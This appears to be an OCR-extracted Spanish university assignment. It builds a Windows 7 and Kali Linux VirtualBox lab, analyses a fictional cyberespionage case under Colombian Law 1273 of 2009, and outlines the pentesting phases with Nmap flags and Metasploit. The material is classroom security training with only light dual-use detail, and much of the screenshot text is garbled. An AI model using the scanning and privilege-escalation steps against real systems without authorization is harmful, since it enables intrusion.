https://unadvirtualedu-
my.sharepoint.com/:f:/g/personal/luis_zambrano unad edu co/EkdfOBY MtOtDh-
vNUeGNDS5SQBIfEmtonCQGOfsWnuXr8E9Q?e=cN102a
Figura 6
Descargar Archivos Banco de Trabajo

Servicio a importar

Seleccione el origen desde el que importar el servicio, Puede ser el sistema de archivos local para
importar un archive OVF o uno de los proveedores de servicio en la nube conecidos para importar la
MV,

Fuente: Sistema de archivos local W

Seleccione un archivo desde el que importar el servicio virtualizado. VirtualBox actualmente soporta
importar servicios guardados en Open Virtualization Format (OVF). Para continuar, seleccione el archive
a importar abajo.

Archivo: [a

Ayuda Anterior Siguiente Cancelar

Fuente. Autoria propia


https://unadvirtualedu-my.sharepoint.com/:f:/g/personal/luis_zambrano_unad_edu_co/EkdfOBYMt0tDh-vNUeGND5QBlfEmt6nCQG0fsWnuXr8E9Q?e=cN102a
https://unadvirtualedu-my.sharepoint.com/:f:/g/personal/luis_zambrano_unad_edu_co/EkdfOBYMt0tDh-vNUeGND5QBlfEmt6nCQG0fsWnuXr8E9Q?e=cN102a
https://unadvirtualedu-my.sharepoint.com/:f:/g/personal/luis_zambrano_unad_edu_co/EkdfOBYMt0tDh-vNUeGND5QBlfEmt6nCQG0fsWnuXr8E9Q?e=cN102a

Intalacion del sistema operativo de Windows 7 en la maquina virtual VirtualBo, en donde

se importa del archivo Win7-SE2020-X64.ova a la maquina virtual VirtualBox

Figura 7

Instalacion del Sistema Operativo Windows 7 en la Maquina Virtual Virtualbox

Organizar *  Nueva carpeta

> @ OneDrive - Person

O Escritorio #
b Descargas  #
=] Documentos  #
I Imdgenes 4
@) Musica »

I3 Videos »

< Etapal » OneDrive_1_12- v oo

Nombre

Rejjeto_123456

¢ Win7-SE2020-X64.0va

- o e

Tipo

2
5
"
3
2
o
E)

6p.m.  Carpeta dear(

12/10/2024 5:50 3. m. Open Virtualiz

Conevian wnmbar

MNombre de archive: | Win7-SE2020-X64.0va Open Virtualization Format (*.0

Abrir Cancelar

Preferencias de servicio

Estas son las méquines virtuales contenidas en el servicioy les preferencias sugeridas de las méquinas
virtuales importadas de VirtuslBox. Pusde cambiar varias de las propiedads mostradas haciendo doble
clic en los elemenos y deshabilitar otras usando las casillas de verificaion de abajo.

Sistema vi
@ N
B
G

8¢

irtual 1

jombre

po de SO invitado
PU

& ram
@ owp

ontrolader USB

({0 Tarjets de sonide

Win?-SE2020-X64

B windows 7 (64-bit)
1

4096 MB

(]

]

@ Audio Intel HD

Politica de

Carpeta base de méquina:

C:\Users\durly\VirtualBox YMs v

direccién MAC:

Servicio virtualizado ne firmado

Incluir solo Ia direccion MAC del adaptador de red NAT v

Opciones adicionales: & Importar discos como VDI

Ayuda Anterior Terminar Cancelar
%8 orsal - o B
| npw {;} | ggd |
GHH Herramientas s
Nueva Afadir  Configuracién Descartar Iniciar
ESI Seg. DB %] General ™) previsualizacion |

WiT-SE2020-x64 =
@) Apagada =

Nombre:

Sistema operativo:
Grupos:

(®] sistema

Memoria base:
Orden de arranque:
Aceleracion:

(%] pantalla

Memoria de video:
Controlador gréfico:

Servidor de escritorio remoto:

Grabacién:

Win7-S£2020-X64
Windows 7 (64-bit)
ESI Seg. DB

Win7-SE2020-X64
4096 MB
Optica, Disco duro
Paginacién anidada,

Hyper-V

18 MB
VBoxSVGA
Inhabilitado
Inhabilitado

(&) Almacenamiento

Controlador: SATA
Puerto SATA 0:
Puerto SATA 1:

0 Audio

Controlador de anfitrién:

Controlador:
& Red
Adsptador 1:
& use

Win7-5E2020-X64-disk001.vdi (Normal, 50,00 GB)
(Unidad ptica] Vacio

Windows DirectSound
Audio Intel HD

Intel PRO/1000 MT Desktop (NAT)

Fuente. Autoria propia

MV,

Fuente:

Servicio a importar

Sistema de archivos local

Seleccione el origen desde el que importar el servicio. Puede ser el sistema de archivos local para
importar un archive OVF o uno de los proveedores de servicio en la nube conocidos para importar la

Seleccione un archivo desde el que importar el servicio virtualizado. VirtualBox actualmente soporta
importar servicios guardados en Open Virtualization Format (OVF). Para continuar, seleccione el archive
aimportar abajo.

Archivo: rs\durly\Documents\2024\UNAD\Etapa1\OneDrive_1_12-10-2024\Win7-5E2020-X64.0va a

[ p—r=

©

Pantalla

Almacenamiento

Audio

O m <= W E

P
I
LU Yol
Importar Exportar | Nueva

iBienvenido a VirtualBosx!

La parte izquierda de esta ventana contiene
herramientas globales y una lista de todas las
maquinas virtuales y grupos de maguinas
virtuales en su computadora. Puede importar,
afladir y crear nuevas MVs usando los botene:
de la barra de 3
Puede abrir un «popups del elemento
seleccionado actualmente usando el botén de
elemento correspondiente. Puede presionar Ia
tecla F1 para obtener ayuda instantanes o
para mas informacion y la

dltimas noticias,
Please choose Experience Mode!

By default, the VirtualBox GUI is hiding some
options, tools and wizards.
The Basic Mode is intended for those users wh
are not interested in advanced functionality an
prefer a simpler, cleaner interface,

The Expert Mode i intended for experienced

users who wish to utilize all VirtualBox
functionality.

You can choose whether you are a beginner or
experienced user by selecting required option a
the right. This choice can always be changed in

Global Preferences or Machine Settings windos

General
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Cambiar el adaptador de red, de NAT a Adaptador puente

Figura 8

Cambio del Adaptador de Red, de NAT a Adaptador Puente
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Instalacion de Kali Linux, se procede a ingresar a la pagina web https:/www kali.org/get-

kali/#kali-platforms, como se evidencia en la siguiente imagen, en el cual se selecciona

Maquinas virtuales


https://www.kali.org/get-kali/#kali-platforms
https://www.kali.org/get-kali/#kali-platforms

Figura 9

Descargar la Instalacion de Maquina Virtuales Kali Linux

Imagenes del Maquinas virtuales

;Q\ instalador ’
\9 N

Fuente. Autoria propia

Se selecciona VirtualBox de 64 bits para proceder con la descarga de la imagen de Kali

Linux, como se evidencia en la siguiente imagen:
Figura 10

Descargar Kali Linux

25 kali.org/get-kali/#kali-virtual-machines

Ad.. Bl Areapersonal & Inicio - Gobernacis.. Consulte suEPS @ Médulo Filtros- Vivi.. @ Untitled Page @ Mbdulo Histérico -...

88 Instalador Maquinas virtuales preconstruidas BRAZO M6vi Nube Contenedores Vivir

i® Maquinas virtuales
preconstruidas

das "kaliskali”

Documentaciéon de maquinas virtuales >

=

* e
VMware VirtualBox Hiper-v

Fuente. Autoria propia
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Archivos descargados de Kali Linux, para proceder a su instalacion en la maquina virtual

VirtualBox:



Figura 11

Archivos de Instalacion de Kali Linux

Mombre

-

W kali-linux-2024.3-virtualbox-amdéd.vbox

'ii kali-linux-2024.3-virtualbox-amdéd. vdi

Fuente. Autoria propia

Para su instalacion de Kali Linux, se ingresa a la maquina virtual VirtualBox, se elige la
opcion de afiadir, en donde se despliega una ventana para abrir el archivo kali-linux-2024.3-

virtualbox-amd64.vbox, como se evidencia en la siguiente imagen:

Figura 12

Instalacion de Kali Linux
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Fuente. Autoria propia
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Instalacion de Kali Linux en la Maquina virtual VirtualBox el cual se procede al menu
iniciar para encender el sistema operativo Kali Linux:
Figura 13

Instalacion de la Maquina Virtual Kali Linux en la Maquina Virtualbox
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Fuente. Autoria propia

Figura 14

Ingreso al Sistema Operativo Kali Linux

ali is § 130ct,11:47 O

Fuente. Autoria propia
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Figura 15

Entorno Kali Linux

Fuente. Autoria propia

Configuracion de Red, procede a seleccionar Adaptador puente, como se evidencia en la
siguiente imagen:
Figura 16
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Aceptar Cancelar Ayuda

Fuente. Autoria propia
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Paso C. Validacion de la comunicacion de las maquinas Windows con la maquina de Kali

Linux, Ingreso al sistema operativo de Windows 7 con el fin de verificar la direccion de red

Figura 17

Validacion de Maquinas Virtuales
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Fuente. Autoria propia

Busca de la direccion ip del sistema operativo de Windows 7, mediante el simbolo del
sistema el cual se le da el comando ipconfig arrojado la direccion ip 192.168.20.114, como se
evidencia en la siguiente imagen:
Figura 18

Ip del Sistema Operativo de Windows 7

&

B Adminintrador. CAWindows\systerm32\cmdexe

Fuente. Autoria propia



40

Ingreso al sistema operativo Windows 7 para proceder a realizar la comunicacion con el

equipo host, para proceder a realizar la comunicacion se procede a desactivar el firewall

Figura 19

Desactivar el firewall
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Fuente. Autoria propia

Conectividad de sistema operativo Kali Linux mediante la direccion ip 192.168.113 con

el sistema operativo Windows 7 a la direccion ip 192.168.114



Figura 20

Conectividad de Sistema Operativo Kali Linux
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Fuente. Autoria propia

Busca de la direccion ip del sistema operativo de Kali Linux, mediante el simbolo del
sistema el cual se le da el comando ifconfig arrojado la direccion ip 192.168.20.113, como se

evidencia en la siguiente imagen:
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Figura 21

Comando Ifconfig Arrojado la Direccion Ip 192.168.20.113

Fuente. Autoria propia
Conectividad de sistema operativo Windows 7 mediante la direccion ip 192.168.114 con

el sistema operativo Kali Linux a la direccion ip 192.168.113

Figura 22

Conectividad de sistema operativo Windows 7

Fuente. Autoria propia
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Paso D. Se realizan los respectivos printscreen el montaje del banco de trabajo y se
evidencia el detalle de las caracteristicas técnicas de hardware del sistema operativo Windows 7,
sistema, almacenamiento, audio, red:

Figura 23

Caracteristicas Técnicas de Hardware del Sistema Operativo Windows 7
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Fuente. Autoria propia

Se realizan los respectivos printscreen el montaje del banco de trabajo y se evidencia el
detalle de las caracteristicas técnicas de hardware del sistema operativo Kali Linux, sistema,

almacenamiento, audio, red:
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Figura 24

Caracteristicas Técnicas De Hardware del Sistema Operativo Kali Linux
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Fuente. Autoria propia

Se evidencia el detalle de las caracteristicas técnicas de hardware del sistema host,

sistema operativo Windows 11, procesador, RAM instalada:
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Figura 25

Caracteristicas Técnicas de Hardware del Sistema Host
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Fuente. Autoria propia

Analisis de Acuerdo Desde el Punto de Vista Legal y No Etico

Se evidencia que la organizacion CyberFort Technologieses, no cuenta con herramientas,
ni instrumentos de control que le permitan identificar anomalias y vulnerabilidades en los
procesos y los procedimientos de la organizacion, con respecto a la contratacion del personal, ya
que se encontrd con la situacion de utilizar un contrato que no cumple con las normas legales y
éticas que se deben de tener, debido a que el contrato utilizado, fue creado por un abogado que
fue despedido por la organizacion por haber cometido procesos ilicitos, lo cual hace que el
documento no sea confiable y que no cumpla con los protocolos de confidencialidad, por lo que
se activa la alarma de mejorar la debilidades que la organizacién tiene, lo cual puede afectar sus
bienes, capacidad productiva o patrimonio, por lo que tiene que establecer planes de mejora

continua y en cumplir con la proteccion y seguridad de la informacion establecida en la Ley 1273
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de 2009 de acuerdo al capitulo I sobre la confidencialidad, integridad y disponibilidad de los
datos y de los sistemas informaticos.

De acuerdo con el anexo3 se da a conocer el acuerdo de confidencialidad del personal a
contratar y a la organizacion CYBERFORT TECHNOLOGIES, es un acuerdo ilegal, debido a
que fue elaborado por el abogado despedido por realizar actos delictivos, lo que hace que el
documento no sea confiable para poderlo utilizar como referencia.

Analisis en Relacion a la Vulneracion de la Ley 1273 Argumentando Cualquier Proceso
Ilegal

Es ilegal ya que afecta la integridad y la ética de la organizacion CYBERFORT
TECHNOLOGIES, por lo que el documento no esta bien elaborado, y no esta legalmente
constituido, ya que se encontraron las siguientes falencias: No se evidencia la clausula séptima,
la cual es una falla muy grave al faltar informacién que lo documente, de igual manera en la
clausula 2 del numeral 2. Cualquier informaciéon societaria, técnica, juridica, financiera,
comercial, de mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefos industriales, datos secretos como “datos de chuzadas, interceptacion de
informacion, accesos abusivos a sistemas informaticos”. estd vulnerando e infringiendo la Ley
1273 de 2009 (Policia, 2009) de acuerdo con los siguientes articulos: Articulo 269A: Acceso
abusivo a un sistema informatico. El que, sin autorizacién o por fuera de lo acordado, acceda en
todo o en parte a un sistema informatico protegido o no con una medida de seguridad, o se
mantenga dentro del mismo en contra de la voluntad de quien tenga el legitimo derecho a
excluirlo, incurrird en pena de prisiéon de cuarenta y ocho (48) a noventa y seis (96) meses y en
multa de 100 a 1.000 salarios minimos legales mensuales vigentes, el cual se comete por las

debilidades en los procedimientos y la vulnerabilidad en el acceso a los sistemas de informacion
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el Articulo 269B: Obstaculizacion ilegitima de sistema informdtico o red de
telecomunicacion. El que, sin estar facultado para ello, impida u obstaculice el funcionamiento o
el acceso normal a un sistema informatico, a los datos informaticos alli contenidos, o a una red
de telecomunicaciones, incurrira en pena de prision de cuarenta y ocho (48) a noventa y seis (96)
meses y en multa de 100 a 1000 salarios minimos legales mensuales vigentes, siempre que la
conducta no constituya delito sancionado con una pena mayor, el cual se comete cuando sin
autorizacion de la persona se realizan chuzadas a la informacion, el Articulo
269C: Interceptacion de datos informaticos. El que, sin orden judicial previa intercepte datos
informaticos en su origen, destino o en el interior de un sistema informatico, o las emisiones
electromagnéticas provenientes de un sistema informatico que los transporte incurrird en pena de
prision de treinta y seis (36) a setenta y dos (72) meses, el cual se comete cuando se obstruyen
sin autorizacion en su sitio de origen, en el destino o en el interior de un sistema informatico y el
Articulo 269F: Violacion de datos personales. El que, sin estar facultado para ello, con provecho
propio o de un tercero, obtenga, compile, sustraiga, ofrezca, venda, intercambie, envie, compre,
intercepte, divulgue, modifique o emplee codigos personales, datos personales contenidos en
ficheros, archivos, bases de datos o medios semejantes, incurrird en pena de prision de cuarenta y
ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales
mensuales vigentes. el cual se produce cuando sin estar facultado vende, compra, sustrae, envia,
divulga o emplea datos personales almacenados en medios digitales.
Analisis de la Propuesta Laboral, Teniendo Presente en Cuenta la Revision Desde el Punto
de Vista Legal y Etico

La respuesta a la propuesta laboral es negativa, teniendo en cuanta que no estoy de

acuerdo con el proceso de contratacion, porque no es confiable, ejemplo en la clausula 4
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Obligaciones de la parte receptora: 3. No denunciar ante las autoridades actividades sospechosas
de espionaje o cualquier otro proceso en el cual intervenga la apropiacion de informacion de
terceros. Se estaria infringiendo el codigo de ética COPNIA (Copnia, 2015), de acuerdo con el
capitulo II de los deberes y obligaciones profesionales, articulo 31 DEBERES GENERALES DE
LOS PROFESIONALES. uno de los deberes generales es: denunciar los delitos, contravenciones
y faltas contra este Codigo de Etica, de que tuviere conocimiento con ocasién del ejercicio de su
profesion, aportando toda la informacion y pruebas que tuviere en su poder, y en el articulo 32
las PROHIBICIONES GENERALES A LOS PROFESIONALES., una prohibicion general es:
Solicitar o aceptar comisiones en dinero o en especie por concepto de adquisicion de bienes y
servicios para su cliente, sociedad, institucion, etc., para el que preste sus servicios profesionales,
salvo autorizacion legal o contractual
Analisis del Caso “Ciberespionaje y Etica en Cyberfort Technologies” Desde su Posicion
Teniendo en Cuenta los Aspectos Legales y Eticos

Se puede evidenciar una falta gravisima encontrada en la auditoria de seguridad realizada
en enero de 2024 a la organizacion CyberFort Technologies en sus sistemas de comunicaciones
gubernamentales, en donde se detecta un software malicioso llamado "ShadowEye", que
ilicitamente ha robado informacion confidencial, capturado correos electronicos de los usuarios,
entre otros, el cual pone en riesgo la confianza, integridad y ética en la prestacion de sus
servicios de proteccion de infraestructura critica y asesoramiento en seguridad digital a gobiernos
y corporaciones de América latina, de la organizacion y a la penalizacion por estar infringiendo
la ley 1273 de 2009 (Policia, 2009) con respecto al espionaje cibernético el cual esta

contemplado en los siguientes articulos:
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Descripcion De La Normatividad En El Caso Cibernético
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Caso Cibernético

Articulos

Descripcion

Condena

La organizacion
CyberFort no
cuenta con
mecanismos de
defensa, ni
acuerdos de
confidencialidad
en sus sistemas de
informacion, por lo
que infringe el
articulo 269A
Los empleados de
CyberFort
accedieron a
comunicaciones
sensibles y
documentos
estratégicos
relacionados con
temas de defensa,
politica exterior y
negociaciones
comerciales, sin la
autorizacion de los
clientes, por lo que
infringen en el
articulo 269B

Los empleados de
CyberFort

accedieron a

269A Accesoabusivo a

un sistema informatico"

269B: Obstaculizacion
ilegitima de sistema

informatico o red de

telecomunicacion.

269C: Interceptacion de

datos informaticos.

Se causa cuando aprovechan la
vulnerabilidad en el acceso a los
sistemas de informacion o
debilidades en los
procedimientos al interior de la

organizacién o empresa.

Se causa cuando bloquean en
forma ilegal un sistema o
impiden su ingreso, a cuentas de
correo electronico de otras

personas, sin su autorizacion

Se causa cuando obstruyen
datos sin autorizacion legal, en

su sitio de origen, en el destino

Pena de Prision de
48 a96 mesesy en
multa de 100 a
1.000 salarios
minimos legales
mensuales

vigentes.

Pena de Prision de
48 a96 mesesy en
multa de 100 a
1.000 salarios
minimos legales
mensuales
vigentes., siempre
que la conducta no
constituya delito
sancionado con

una pena mayor.

Pena de Prision 36

a (72) meses
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Caso Cibernético Articulos

Descripcion

Condena

comunicaciones
sensibles y
documentos
estratégicos
relacionados con
temas de defensa,
politica exterior y
negociaciones
comerciales, sin
consentimiento de
los clientes, por lo
que infringen en el
articulo 269C

La organizacion
CyberFort no Informatico.
cuenta con

herramientas de

pentestig que

permitan

identificar con

tiempo el software

maligno Ilamado
"ShadowEye",

tenia la capturar

correos

electronicos, y

robar documentos
confidenciales, sin

autorizacion de los

clientes, por lo que

infringe el articulo

269D

Articulo 269D: Daiio

o en el interior de un sistema

informatico

Se cauda cuando una persona
que sin estar autorizado
modifica, altera, dafia, elimina,
destruye o suprime datos del
programa o documentos
electronicos y se hacen en los

recursos de TIC

Pena de Prision de
48 296 mesesy en
multa de 100 a
1.000 salarios
minimos legales
mensuales

vigentes.
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Caso Cibernético

Articulos

Descripcion

Condena

La organizacion
CyberFort no
cuenta con
herramientas de
pentestig que
permitan
identificar con
tiempo el software
maligno llamado
"ShadowEye”, por
lo que se evidencia
las debilidades en
los sistemas de
informacion, lo
que infringe el
articulo 269E

Los empleados de
CyberFort
vendieron la
informacion
obtenida en
mercados de la
darknety a
empresas rivales
en la industria de
defensa y
tecnologia, por lo
que infringen el
articulo 269F

Los empleados de
CyberFort
accedieron a

comunicaciones

269E: Uso de software

malicioso.

269F: Violacion de

datos personales

269G: Suplantacion de

sitios web para capturar

datos personales.

Se causa cuando se adquieren
distribuyen, envian, introducen
o extraen del pais software o
programas de computador que
produce dafios en los recursos
TIC

Se causa cuando sin estar
facultado sustrae, envia, vende,
divulga, compra o emplea datos
personales almacenados en

medios magnéticos

Se causa cuando una pagina
web es similar a la de una
entidad y envia correos

electronicos (spam) como

Pena de Prision de
48 296 mesesy en
multa de 100 a
1.000 salarios
minimos legales
mensuales

vigentes.

Pena de Prision de
48 296 mesesy en
multa de 100 a
1.000 salarios
minimos legales
mensuales

vigentes.

Pena de Prision de
48 296 mesesy en
multa de 100 a
1.000 salarios
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Caso Cibernético

Articulos

Descripcion

Condena

sensibles, por lo
que puede estar
infringiendo en el

articulo 269G

Los empleados de
CyberFort
vendieron la
informacion
obtenida en
mercados de la
darknety a
empresas rivales
en la industria de
defensa y
tecnologia, por lo
que estan
obteniendo
provecho para
ellos, por lo que
infringen el

articulo 269H

269H: Circunstancias de

agravacion punitiva:

ofertas de empleo y personas
inocentes suministran
informacion personal y claves
bancarias y el delincuente
informatico ordena
transferencias de dinero a
terceros.

1. Sobre redes o sistemas
informaticos o de
comunicaciones estatales u
oficiales o del sector financiero,
nacionales o extranjeros.

2. Por servidor publico en
ejercicio de sus funciones.

3. Aprovechando la confianza
depositada por el poseedor de la
informacion o por quien tuviere
un vinculo contractual con este.
4. Revelando o dando a conocer
el contenido de la informacion
en perjuicio de otro.

5. Obteniendo provecho para si
0 para un tercero.

6. Con fines terroristas o
generando riesgo para la
seguridad o defensa nacional.
7. Utilizando como instrumento
a un tercero de buena fe.

8. Si quien incurre en estas
conductas es el responsable de
la administraciéon, manejo o
control de dicha informacion,

ademas se le impondra hasta por

minimos legales
mensuales
vigentes., siempre
que la conducta no
constituya delito
sancionado con
pena mds grave.
Las penas se
aumentaran de la
mitad a las tres
cuartas partes si la
conducta se

cometiere:
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Caso Cibernético Articulos

Descripcion

Condena

Manipulacion alos  2691: Hurto por medios

sistemas de informaticos y
informacion de la  semejantes.
organizacion
CyberFort
Technologies, por
las debilidades que
tiene en sus
sistemas
informaticos, se
aplica el articulo
2691

Los empleados de  269J: Transferencia no
CyberFort sin consentida de activos.
autorizacion

transfirieron

informacion en

mercados de la

darknety a

empresas rivales

en la industria de

defensa y

tecnologia,

infringiendo el

articulo 269J

tres afios, la pena de
inhabilitacion para el ejercicio
de profesion relacionada con
sistemas de informacion
procesada con equipos
computacionales.

Se causa cuando manipulan un
sistema de informacién, unared
de sistemas electronicos,
telematicos u otro medio
semejante o suplantacion a un
usuario ante sistemas de
autenticaciony de autorizacion

establecidos

Se causa cuando utilizando
alglin truco o manipulacion
informatica efectia la
transferencia no autorizada de
cualquier activo en perjuicio de
un tercero en provecho propio.
Este delito también se denomina
estafa electronica, igual manera
se presenta cuando fabrica,
introduce o facilita programas
de computador para cometer los

anteriores delitos

Las penas de
prision sefialadas
en el articulo 240
de este Codigo. De

3 a 8 afios

Pena de Prision de
48 a 96 meses y en
multa de 100 a
1.000 salarios
minimos legales
mensuales

vigentes.

Fuente. Auditoria propia
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Al sustraer y vender informacion en mercados de la darknet y a empresas rivales en la
industria de defensa y tecnologia los empleados estdn incumplimiento el cddigo de la ética
profesional (Copnia, 2015), contemplados en el capitulo II en el articulo 33 Deberes generales de
los profesionales b) Custodiar y cuidar los bienes, valores, documentacion e informacién que por
razon del ejercicio de su profesion, se le hayan encomendado o a los cuales tenga acceso;
impidiendo o evitando su sustraccion, destruccion, ocultamiento o utilizacion indebidos, de
conformidad con los fines a que hayan sido destinados, lo cual se convierte en una falta
gravisima y en la cancelacion de la matricula profesional para seguir ejerciendo su profesion.

(Hasta qué punto las empresas de ciberseguridad deben tener acceso a informacion
sensible de sus clientes durante una auditoria de seguridad, y como se puede garantizar que este
acceso no sea explotado de manera indebida? Las empresas no deben, ni pueden tener acceso a
informacion sensible de sus clientes, ni tampoco pueden suministrar la informacion en las
auditorias internas, porque vulneran el principio de la confianza y seguridad de la informacion.

Las auditorias internas en los sistemas de informacion son necesarias y tutiles porque
permiten identificar y controlar de manera oportuna las vulnerabilidades que se puedan presentar,
como se evidenci6 en el anexo 7 escenario 2. Que por medio de la auditoria interna a los
sistemas de informacion se detecto el software malicioso, el cual fue mitigado y eliminado.

(Qué mecanismos de supervision y control deberian implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de analisis forense
con fines no autorizados o éticamente cuestionables?. Los mecanismos que se deben contemplar
en cualquier organizacioén, empresa o usuario sobre ciberseguridad son politicas de seguridad y
proteccion de la informacion y de datos personales, las cuales estan contempladas en la Ley 1273

de 2009, También se deben establecer mecanismos de deteccion de vulnerabilidades utilizando
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equipos Red Team & Blue Team, los cuales permiten mitigar a tiempo las vulnerabilidades y
ataques informaticos que se puedan presentar. Pruebas de pentesting las cuales nos permiten
identificar las vulnerabilidades de seguridad en los sistemas de informacion, redes y aplicaciones
a tiempo y poderlos mitigar. De igual manera establecer los acuerdos de confidencialidad y
establecer en los planes de mejora continua las auditorias internas, las cuales permiten controlar
y evaluar las falencias que se puedan estar cometiendo y puedan estar afectando a la
organizacion en la prestacion de los servicios.

(Coémo deberian responder los gobiernos y organizaciones cuando descubren que una
empresa de ciberseguridad contratada ha cometido actos de ciberespionaje? Realizando las
respectivas denuncias penales a las entidades competentes encargadas de salvaguardar la
proteccion, la seguridad de la informacion y datos personales, por el incumplimiento a la Ley
1273 de 2009 y al cédigo de ética sobre el abuso de confidencialidad, integridad y disponibilidad
de los datos informaticos, con el fin de que sean aplicadas las sanciones y penas de prision
acorde al delito informatico, cometido por el ciberespionaje, robo de informacion, entre otros.

(Cuales serian las medidas adecuadas para restaurar la confianza y asegurar que no
ocurra nuevamente? Mejorando los procesos y procedimientos de seguridad de la informacion,
estableciendo politicas de seguridad y proteccion de la informacion y datos personales, acuerdos
de disponibilidad, confidencialidad, integridad de la informacién. Cumpliendo con la Ley 1273
de 2009 como respaldo en la mitigacion de los delitos informaticos y proteccion a los datos
personales, en el cumplimiento al codigo de ética de los profesionales para la prestacion de sus
servicios, en utilizacion de herramientas que permitan identificar a tiempo las vulnerabilidades
en implementar periddicamente auditorias internas, las cuales nos permiten evidenciar las

falencias y debilidades en que se esta fallando para poder implementar la mejor continua a los
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procesos y poder recuperar la confianza y credibilidad de la empresa en la prestacion de sus
servicios a su clientes.
Informe de Herramientas y Procedimientos Utilizados Para Dar Solucion al Escenario de
Red Team de Acuerdo a los Pasos del Pentesting

Se identifico al interior de la organizacion en uno sus equipos de computo una
vulnerabilidad que es la fuga de informacion, para dar solucion a esta situacion se procede a
utilizar las pruebas de penetracion pentesting, como herramienta de seguridad, la cual nos
identifica las debilidades que se estdn presentando en el robo de informacion, por tal motivo para
evaluar la seguridad de la organizacion se requiere aplicar las 5 fases del proceso que realiza el
pentesting, el cual se describe en la siguiente tabla:
Tabla 4

Las 5 Fases del Proceso que Realiza el Pentesting,

Fases Descripcion Escenario Herramientas

1. Reconocimiento Recopilacion de la Se realiza recopilacion de Para esta fase se
informacion ejemplo:  informacion de los utiliza la herramienta
Fuentes de sistemas de informacion ~ Nmap, que realiza el
informacion, de la organizacion para  escaneo detallado del
Direcciones IP de poder detectar el sistema  sistema y de los

servicios tercerizados, objetivo, por lo que se ha puertos utilizando los
Existencia de redes identificado un comandos[-sV]

inalambricas, Direccidon reconocimiento activo el  intenta determinar la

fisica de la empresa, cual se procedearevisary version del servicio
Rangos de direcciones evaluar. en el objetivo, [-O]
IP asignados, entre informa el sistema
otras, con el fin operativo en el
delimitar las areas a objetivo, entre otros.
evaluar y poder generar También podemos

estrategias de ataque utilizar otras
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Fases

Descripcion

Escenario

Herramientas

2. Analisis de

vulnerabilidades

3. Explotacion

que sean eficientes al
mitigar la
vulnerabilidad que se

presente

Realiza a fondo la
evaluacion de todos los
elementos que estan
involucrados desde su
inicio hasta su final
verificando el estado
dinamico y estatico del

sistema

Evaluacion de
vulnerabilidades se
realiza la identificacion
sobre las posibles
debilidades a las
vulnerabilidades
encontradas que pueden
ser detonadas por un

atacante informatico

Se realiza un escaneo a
fondo a todos los sistemas
de informacion de la
organizacion, con
respecto a los servicios
que se estan ejecutando en
la red, los puertos, por lo
que se encuentra una
debilidad que esta alojada

en un equipo de computo.

Se procede a evaluar la
debilidad encontrada,
dentro de un equipo de
computo de la
organizacion, por lo que
se empieza a realizar la
revision del sistema con
respecto a la version si
presenta vulnerabilidades,
si esta desactualizada, o
presenta fallos, por lo que
al realizar la explotacion

se encuentro la

herramientas como
footprinting y
,metasploit, para la
recoleccion de
informacion.

Para esta fase se
utiliza la herramienta
Nmap, la cual
permite realizar un
escaneo de la red
para identificar los
dispositivos activos
utilizando el
comando [-iL] indica
el listado de redes o
equipos a escanear >
nmap —iL hosts.txt, ,
[-p] lista los puertos
que se desean
escanear

Para esta fase se
utiliza la herramienta
Nmap, el cual nos
permite identificar la
version del sistema,
el servicio, y el
puerto que esta
corriendo el servicio.
También se puede
utilizar la
herramienta de
metasploit, utilizando

meterpreter,
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Fases

Descripcion

Escenario

Herramientas

4. Escalarprivilegioso Se realiza cuando el

5.

Post Explotacion

Informe

evaluador ha
identificado las
vulnerabilidades a
explotar predominando
las siguientes tareas
como son: la deteccidon
de barreras de
proteccion, deteccion
de modems activos,
deteccion de servicios
activos, deteccion de
equipos activos, entre

otros

En el cual entrega
detalladamente los
hallazgos encontrados

de las vulnerabilidades

vulnerabilidad que es la
fuga de
Informacion la cual esta

instalada bajo el sistema

operativo Windows 7. Por

lo que se procede a
realizar la mitigacion de
la vulnerabilidad
encontrada.

Se procede a ingresar al
sistema por medio de la
vulnerabilidad, la cual
permite la entrada a la
maquina objetivo y a la
escalacion de privilegios,
en donde se logra el
ingreso como
administrador con todos
los permisos que se
requieran para poder
realizar los cambios
pertinentes a la maquina
objetivo y garantizar la
conexion para poder logra
mitigar la vulnerabilidad,
sin dejar registros, ni
rastros de las actividades
que fueron ejecutadas
durante la explotacion.
Se hace entrega un
informe detallado de las
debilidades encontradas

en la organizacion,

Para esta fase se
utiliza como
herramienta
Metasploit, la, cual
identifica y evalua
las vulnerabilidades
de los sistemas
objetivo para ejecutar
los exploits de las
vulnerabilidades,
poder tenerel acceso
para el escalamiento

de permisos

Para esta fase se
utilizan como
herramientas el

Nmap y Metasploit,
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Fases

Descripcion

Escenario

Herramientas

que se explotaron con
el fin de mitigar los
riesgos de seguridad,
tener en cuenta las

recomendaciones para

robustecer la seguridad.

iniciando con la
recopilacion de la
informacion en donde se
analiza y se realiza un
escaneo a los sistemas
informaticos, logrando
identificar el equipo de
computo en el cual se esta
realizando una fuga de
informacion, porque tiene
instalada una aplicacion
vulnerable bajo Windows
7, por los que el equipo de
Red Team realiza la
identificacion y la
explotacion de la
vulnerabilidad detectada y
se logra por medio del
escalamiento de
privilegios ingresar como
administrador y poder
mitigar la vulnerabilidad
sin dejar rastro ni huellas
de las actividades
realizadas en la ejecucion
de la debilidad

encontrada.

Fuente. Autoria propia



Analisis del Ataque Presentado a Cada Una de las Maquinas Identificadas

Para realizar el andlisis de la vulnerabilidad, se procede a realizar la validacion de la

comunicacion de las maquinas Windows7 con la maquina de Kali Linux, Ingreso al sistema

operativo de Windows 7 en donde se procedié a desactivar el firewall, también se realizo la a

cada maquina la verificacion de la ip de cada una de las maquinas: Para el sistema operativo

Kali Linux mediante el comando ifconfig en donde se evidencia la inet 192.168.113 con el

sistema operativo Windows 7 el comando ipconfig donde se evidencia la Direccion 1Pv4

192.168.114

Figura 26

Validacion de la Comunicacion de las Maquinas Windows7 con la Maquina de Kali Linux
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& Menu | 7 Port:80 | @2 You are in Easy mode

[ Open in browser  hitp://192.168.20.1141 [] Copy to clipboard

Virtual File System Log
;
8 1P address  File Status Speed Time.. Progress

Autocapturar teclado... &

[ o
& 0 o P 1) [ iR 30 (8 (¥ CTRL DERECHA
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[%2] 18]

Integracién de ratén... S @

Autocapturar teclado... & &

Direccién
Mascar sub: EEEE R
Puerta de enlace predeterminada .

Papelerade y — n—
e rdaptador de tdnel isatap.(SBESBE :B3-D289D?3C2460:
Estado de los medios. . . . . . . . medios desconectados
Sufijo DNS especifice para 1a cone
